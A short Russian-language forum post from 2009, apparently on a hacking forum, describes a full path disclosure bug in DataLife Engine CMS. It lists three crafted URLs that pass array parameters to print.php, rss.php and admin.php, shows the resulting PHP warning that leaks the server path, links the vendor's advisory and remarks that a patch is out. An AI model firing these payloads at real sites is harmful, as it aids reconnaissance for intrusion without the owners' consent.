10.02.2009, 15:54
|
|
Постоянный
Регистрация: 26.03.2008
Сообщений: 311
Провел на форуме:
3799424
Репутация:
479
|
|
раскрытие путей
http://host.ru/engine/print.php?do=static&page[]=paramparam
результат
Warning: mysql_real_escape_string() expects parameter 1 to be string, array given in [PATH]/engine/classes/mysql.class.php on line 162 Невозможно загрузить шаблон: info.tpl
UPD
http://host.ru/engine/rss.php?subaction=allnews&user[]=admin
UPD
для тех у кого есть доступ в админку(журналисты, модераторы и выше)
http://host.ru/admin.php?mod[]=main
(c) #Wolf#
ps
http://dle-news.ru/bags/v75/570-nedostatochnaya-filtraciya-vxodyashhix-dannyx.html
кандоны( уже патч выпустили(
Последний раз редактировалось #Wolf#; 18.02.2009 в 16:16..
|
|
|